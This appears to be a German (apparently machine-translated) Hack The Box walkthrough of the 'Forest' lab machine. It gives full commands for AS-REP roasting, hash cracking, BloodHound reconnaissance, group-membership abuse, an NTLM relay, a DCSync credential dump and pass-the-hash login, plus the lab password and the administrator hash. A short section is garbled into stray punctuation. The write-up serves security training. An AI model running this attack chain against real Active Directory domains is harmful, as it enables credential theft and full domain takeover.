Hack The Box - Walkthrough Forest. AS-REP-Röst-, DCSync- und Pass-The-Hash-Angriffe

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden . Ich hoffe, dass dies zumindest jemandem hilft, sich im Bereich der Informationssicherheit zu entwickeln. In diesem Artikel werden wir uns mit AS-REP-Röstung im Kerberos-Authentifizierungsschema befassen, BloodHound für die Domänenaufklärung verwenden, einen DCSync PrivExchange-Angriff und einen Pass-The-Hash-Angriff durchführen.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)

Organisationsinformationen
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.161, die ich zu / etc / hosts hinzufüge.
10.10.10.161 forest.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

Bild

Es gab viele offene Ports auf dem Host, und ich entschied mich sicherzustellen, dass die Ergebnisse von masscan korrekt waren. Scannen Sie dazu einfach den Status der Ports in nmap.

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

Bild

Aber nmap hat alles bestätigt. Als Nächstes müssen Sie weitere Informationen zu den Ports sammeln, die nmap bekannt sind.

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

Bild

Als nächstes müssen Sie so viele Informationen wie möglich vom System erhalten. Dafür habe ich enum4linux verwendet. Aber er gab uns wenig Informationen. Gruppen, Kennwortanforderungen, Mangel an SMBv1 und gemeinsam genutzten Ressourcen usw. Wir haben jedoch eine Liste der Benutzer.

enum4linux -a 10.10.10.161

Bild

Da Kerberos auf dem Host ausgeführt wird, müssen Sie überprüfen, ob ein solches Benutzerkonto vorhanden ist, für das das Flag DONT_REQ_PREAUTH in der Benutzerkontensteuerung gesetzt ist. Sie können mehr über UAC Flaggen lernen und was sie bedeuten hier . Das Flag DONT_REQ_PREAUTH bedeutet, dass für dieses Konto keine Kerberos-Authentifizierung erforderlich ist.

Stellen Sie zunächst fest, welche Benutzerkonten aktiv sind. Dies wird dazu beitragen, dass das Samrdump-Skript in impacket enthalten ist.

impacket-samrdump forest.htb

Bild

Bild

Das Skript zeigt zuerst alle Benutzer und dann detaillierte Informationen zu jedem von ihnen an. Auf diese Weise können Sie sehen, dass das Administratorkonto aktiv ist und Gast nicht. Jetzt können wir eine Liste der aktiven Benutzer erstellen.

Bild

Wenn wir eine Liste aktiver Benutzer haben, können wir die Verfügbarkeit des benötigten Flags überprüfen. Wir können dies mit dem GetNPUsers-Skript tun, das ebenfalls Teil des Impacket-Pakets ist. Wir geben die Domäne htb.local, den Domänencontroller 10.10.10.161, die Kerberos-Authentifizierungsmethode (-k), die Option ohne Kennwort und die Liste der Benutzer an.

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 

Bild

Es wird uns mitgeteilt, dass dieses Flag nicht für alle Benutzer außer svc-alfresco gesetzt ist. In meiner Version von impacket (21-dev) wird der Hash automatisch angefordert.

Einstiegspunkt - AS-REP-Röstung


Ein paar Worte darüber, was der Hash uns zurückgegeben hat. Unten finden Sie das Kerberos-Authentifizierungsschema.

Bild

Wie Sie sehen können, sendet der Client in der ersten Phase eine Nachricht mit der Benutzer-ID an den Authentifizierungsserver AS mit der Dienstanforderung im Namen des Benutzers. Der AS generiert einen geheimen Schlüssel, indem er das Kennwort des in der Datenbank gefundenen Benutzers hasht.

Auf diese Weise können wir durch den Hash scrollen und das Passwort herausfinden. Diese Art von Angriff wird als AS-REP-Röstung bezeichnet. Speichern Sie den Hash in einer Datei und suchen Sie den Prototyp.

john --wordlist=./rockyou.txt hashes2.txt

Bild

Und wir finden das Benutzerpasswort.

BENUTZER


Wenn Sie zu offenen Ports zurückkehren, finden Sie einen funktionierenden WinRM-Dienst (oder Windows Remote Management), der für die Remoteverwaltung entwickelt wurde. Wir haben einen Benutzernamen und ein Passwort, damit wir sicher eine Verbindung herstellen können. Dafür benutze ich Evil-Winrm .

Bild

Also nehmen wir den Benutzer.

WURZEL


Intelligenz mit BloodHound


Jetzt müssen wir unsere Privilegien erhöhen. Um LPE-Pfade in einer Domäne zuzuordnen , können Sie das BloodHound- Programm verwenden .

Mit Evil-winrm können Sie Dateien zum und vom Host hochladen. Ich habe SharpHound auf den Host hochgeladen - ein Modul zum Sammeln von Informationen.

Bild

Mit Evil-WinRM können Sie auch Powershell-Skripte ausführen. Wir geben den Benutzer, das Passwort und auch an, dass wir alles wissen wollen, was möglich ist.

Bild

Nachdem das Skript ausgeführt wurde, wird im aktuellen Verzeichnis ein Zip-Archiv angezeigt. Wir laden es vom Host herunter.

Bild

Führen Sie als Nächstes das neo4j-Diagramm DBMS aus, mit dem BloodHound arbeitet.

neo4j console

Bild

Führen Sie jetzt BloodHound aus. Ein leerer Bildschirm wird uns treffen.

Bild

Ziehen Sie nun einfach das heruntergeladene Archiv per Drag & Drop hinein. Gehen Sie zur Registerkarte Abfragen.

Bild

Und wir sagen, dass wir die kürzesten Wege zu den Domain-Administratoren finden wollen. BloodHound wird ein Diagramm erstellen - den Weg zu unserem beständigen Fortschritt. Durch Klicken auf jeden Netzwerkknoten erhalten wir Informationen darüber.

Bild

Daher wird uns mitgeteilt, dass wir Mitglied der Gruppe "Exchange Windows-Berechtigungen" werden sollen, da wir mit der privilegierten Gruppe "Dienstkonten" behandelt werden und nur dann die Berechtigungen erhöhen können.

net user svc-alfresco

Bild

Der Benutzer ist derzeit nicht in dieser Gruppe. Fügen wir es hinzu und überprüfen Sie dann die Benutzergruppen.

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

Bild

Benutzer erfolgreich zur Gruppe hinzugefügt. Nun wollen wir sehen, was uns das gibt. Die Exchange Windows-Berechtigungsgruppe verfügt über die WriteDACL-Rechte (Rechte zum Erteilen von Rechten) für das Domänenobjekt in Active Directory, mit denen jedes Mitglied der Gruppe Domänenberechtigungen einschließlich DCSync-Vorgängen ändern kann.

DCSync


Ein bisschen über den DCSync-Angriff. Bei der Active Directory-Replikation werden Änderungen an einem der Domänencontroller mit den übrigen Controllern in der Domäne synchronisiert. Nach Erhalt der erforderlichen Berechtigungen können wir eine Replikationsanforderung initiieren, mit der wir in Active Directory gespeicherte Daten abrufen können, einschließlich Kennwort-Hashes.

Das heißt, wir können die Kennwort-Hashes von Active Directory-Benutzern synchronisieren und uns bei jedem Dienst mit den NTLM-Protokollen (entwickelt vom Microsoft-Netzwerkauthentifizierungsprotokoll) oder Kerberos anmelden. Der Angriff beinhaltet die Verwendung von zwei Tools, privexchange.py und ntlmrelayx.py aus dem Impacket-Paket.

Führen Sie zunächst ntlmrelayx im LDAP-Relay-Modus auf dem Domänencontroller mit dem Konto svc-alfresco aus.

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

Bild

Alle Dienste werden ausgeführt und warten auf eine Verbindung. Verwenden Sie jetzt privex.

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

Bild

Und dann flog ich ein paar Fehler und kramte ein paar Minuten, es wurde beschlossen, sie nicht zu beheben. Sie können dem obigen Link im Browser folgen und die Authentifizierung mit svc-alfresco-Anmeldeinformationen übergeben. Im Fenster mit ntlmrelayx sehen wir die Verbindungsinformationen.

Bild

Führen Sie nun den DCSync-Angriff mit Secretsdump aus.

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

Bild

Fein. Wir konnten alle Konten replizieren.

Pass-the-Hash-Angriff


Dieser Angriff ermöglicht es einem Angreifer, sich bei einem Remoteserver anzumelden, der mit dem NTLM- oder LM-Protokoll authentifiziert ist.

Auf Systemen, die das NTLM-Authentifizierungsprotokoll verwenden, werden Kennwörter niemals im Klartext über einen Kommunikationskanal übertragen. Stattdessen werden sie in Form von Hashes in der Antwortphase des Frage-Antwort-Authentifizierungsschemas in Form von Hashes an das entsprechende System (z. B. einen Domänencontroller) übertragen.

Windows-Anwendungen fragen den Benutzer in eindeutiger Form nach dem Kennwort und rufen dann die API (z. B. LsaLogonUser) auf, die das Kennwort in den LM-Hash und den NTLM-Hash konvertiert und diese während des Authentifizierungsprozesses weitergibt. Die Analyse der Protokolle ergab, dass für eine erfolgreiche Authentifizierung das Kennwort nicht in eindeutiger Form bekannt sein muss, sondern nur sein Hash verwendet werden kann.

Der Angriff basiert auf einer Schwachstelle bei der Implementierung des Netzwerkauthentifizierungsprotokolls. Es besteht darin, dass Passwort-Hashes ohne Verwendung von Salt übertragen werden und daher von Sitzung zu Sitzung unverändert bleiben (bis das Benutzerkennwort geändert wird). Mit anderen Worten, für einen Angreifer entsprechen Kennwort-Hashes den Kennwörtern selbst.

Führen Sie einen Angriff mit psexec durch.

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

Bild

Wir befinden uns in einem System mit vollen Rechten.

Sie können sich uns per Telegramm anschließen . Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles